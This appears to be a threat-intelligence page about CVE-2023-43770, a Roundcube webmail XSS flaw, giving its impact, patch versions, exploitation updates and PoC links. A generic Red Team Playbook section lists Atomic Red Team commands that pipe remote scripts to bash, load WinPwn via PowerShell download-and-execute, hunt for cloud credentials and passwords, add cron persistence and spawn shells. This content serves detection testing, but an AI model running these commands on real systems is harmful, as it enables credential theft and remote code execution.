CVE-2023-43770
Overview
This vulnerability is a cross-site scripting (XSS) flaw rooted in improper sanitization of crafted links within text/plain email messages. The issue arises from the behavior of the rcube_string_replacer.php component in Roundcube, which fails to correctly handle and neutralize malicious input embedded in email content. This affects the email rendering logic in the Roundcube webmail client across multiple versions prior to 1.4.14, 1.5.4, and 1.6.3.
Vulnerability Description
Roundcube before 1.4.14, 1.5.x before 1.5.4, and 1.6.x before 1.6.3 allows XSS via text/plain e-mail messages with crafted links because of program/lib/Roundcube/rcube_string_replacer.php behavior.
Impact
An unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted email that, when viewed by the user, executes arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, theft of sensitive information, or unauthorized actions performed on behalf of the user within the Roundcube webmail interface. The attack requires user interaction to open or preview the malicious email but does not require any prior access or elevated privileges. This can result in compromise of user confidentiality and integrity within the affected webmail environment.
Solution
Users and administrators should upgrade Roundcube to version 1.4.14, 1.5.4, or 1.6.3 or later as these releases contain the fix for this XSS vulnerability. Debian users should apply the security update provided for Debian Linux 10.0 as announced in the Debian LTS advisory. Detailed patch instructions and release notes are available at https://roundcube.net/news/2023/09/15/security-update-1.6.3-released and the Debian LTS announcement at https://lists.debian.org/debian-lts-announce/2023/09/msg00024.html.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a flaw in the handling of text/plain email messages in the Roundcube webmail application. Specifically, the issue is rooted in the behavior of the rcube_string_replacer.php script, which fails to adequately sanitize crafted links within email content. This oversight allows attackers to inject malicious JavaScript code into the email body, leading to cross-site scripting (XSS) vulnerabilities. The lack of proper input validation and output encoding for links in plain text emails creates an opportunity for exploitation, particularly in environments where users may be less cautious about the content they interact with.
Attack vectors associated with this vulnerability primarily involve social engineering tactics. An attacker could send a carefully crafted email containing a link that appears benign but, when clicked, executes malicious scripts within the context of the user's browser. This could lead to session hijacking, data theft, or even the installation of malware on the victim's device. Exploitation scenarios may include phishing attacks where users are tricked into providing sensitive information or credentials, as the malicious content can execute actions on behalf of the user without their consent. Additionally, if the webmail application is used in a corporate environment, the potential for lateral movement within the organization increases, amplifying the risk.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely heavily on Roundcube for email communication. The business risks associated with successful exploitation include reputational damage, loss of customer trust, and potential regulatory repercussions if sensitive data is compromised. Furthermore, the financial implications of a data breach can be substantial, considering the costs associated with incident response, remediation, and potential legal liabilities. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, as clients and partners may seek more secure alternatives for their communication needs.
To detect and mitigate the risks posed by this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify instances of the affected versions of Roundcube in use. Additionally, organizations should ensure that they are running the latest versions of the software, as updates often include critical security patches that address known vulnerabilities. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering out potentially malicious requests before they reach the application. User education is equally important; training employees to recognize phishing attempts and suspicious links can significantly reduce the likelihood of successful exploitation.
In summary, the vulnerability in Roundcube presents a notable risk due to its potential for exploitation through crafted links in plain text emails. The combination of social engineering tactics and the inherent weaknesses in input handling creates a pathway for attackers to compromise user data and organizational integrity. By adopting proactive detection and mitigation strategies, organizations can safeguard against the threats posed by this vulnerability and enhance their overall security posture.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-43770, as evidenced by a doubling in detection activity within our telemetry. Despite this increase, the EPSS score has declined, reflecting a nuanced shift in exploit likelihood or attacker prioritization. The emergence of multiple new proof-of-concept exploits on public platforms underscores growing adversary interest and capability to weaponize this vulnerability. This development is significant for defenders because it signals an elevated risk of targeted attacks leveraging crafted links in plain text emails to execute cross-site scripting, potentially facilitating broader compromise chains. While ransomware usage linked to this vulnerability remains unconfirmed, the increased exploitation activity combined with accessible exploit code heightens the threat landscape, warranting continued vigilance. Overall, the threat level for CVE-2023-43770 has intensified moderately, driven by increased attacker engagement and expanding exploit resources, even as predictive scoring models suggest a complex exploitation environment.
Update 2 — July 08, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-43770, accompanied by a modest upward adjustment in the EPSS score, reflecting growing attacker interest and exploitation viability. Our telemetry indicates that adversaries are increasingly leveraging publicly available proof-of-concept exploits, which have gained traction within underground forums and developer communities. This amplification in exploitation activity, although not yet linked to ransomware operations, signals a heightened risk of broader attack chains that could leverage this stored XSS vulnerability as an initial foothold. The incremental rise in exploit engagement underscores the necessity for defenders to maintain heightened situational awareness, as the vulnerability’s exploitation potential is becoming more pronounced. Consequently, the overall threat level for CVE-2023-43770 has shifted upward from moderate to a more elevated medium tier, driven by intensified attacker activity and expanding exploit accessibility.
Update 3 — July 17, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-43770, with our telemetry indicating a sustained increase in attacker engagement. This trend coincides with the continued availability and refinement of multiple proof-of-concept exploits circulating within underground forums and public repositories, enhancing adversaries’ capabilities to leverage the stored XSS vulnerability in Roundcube Webmail. Although ransomware involvement remains unconfirmed, the growing exploitation activity elevates the risk of this vulnerability being integrated into complex attack chains, potentially facilitating initial access or lateral movement. Consequently, the threat level associated with CVE-2023-43770 has been reassessed to reflect a heightened medium risk, underscoring the necessity for defenders to maintain vigilant monitoring and prioritize detection efforts around Roundcube Webmail environments.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
s3cb0y/CVE-2023-43770-POC
A Proof-Of-Concept for the CVE-2023-43770 vulnerability.
|
s3cb0y | 35 | 11 | 2023-09-27 | View |
|
knight0x07/CVE-2023-43770-PoC
PoC for Stored XSS (CVE-2023-43770) Vulnerability
|
knight0x07 | 3 | 0 | 2023-09-28 | View |
|
skyllpro/CVE-2021-44026-PoC
Bug Chain XSS (CVE-2020-35730 and CVE-2023-43770) to SQLi (CVE-2021-44026)
|
skyllpro | 0 | 0 | 2025-04-20 | View |
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-43770 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/commit/e92ec206a886461245e1672d8530cc93c618a49b |
| roundcube.net |
GitHub CVE
|
https://roundcube.net/news/2023/09/15/security-update-1.6.3-released |
| lists.debian.org |
GitHub CVE
mailing-list
|
https://lists.debian.org/debian-lts-announce/2023/09/msg00024.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-43770 |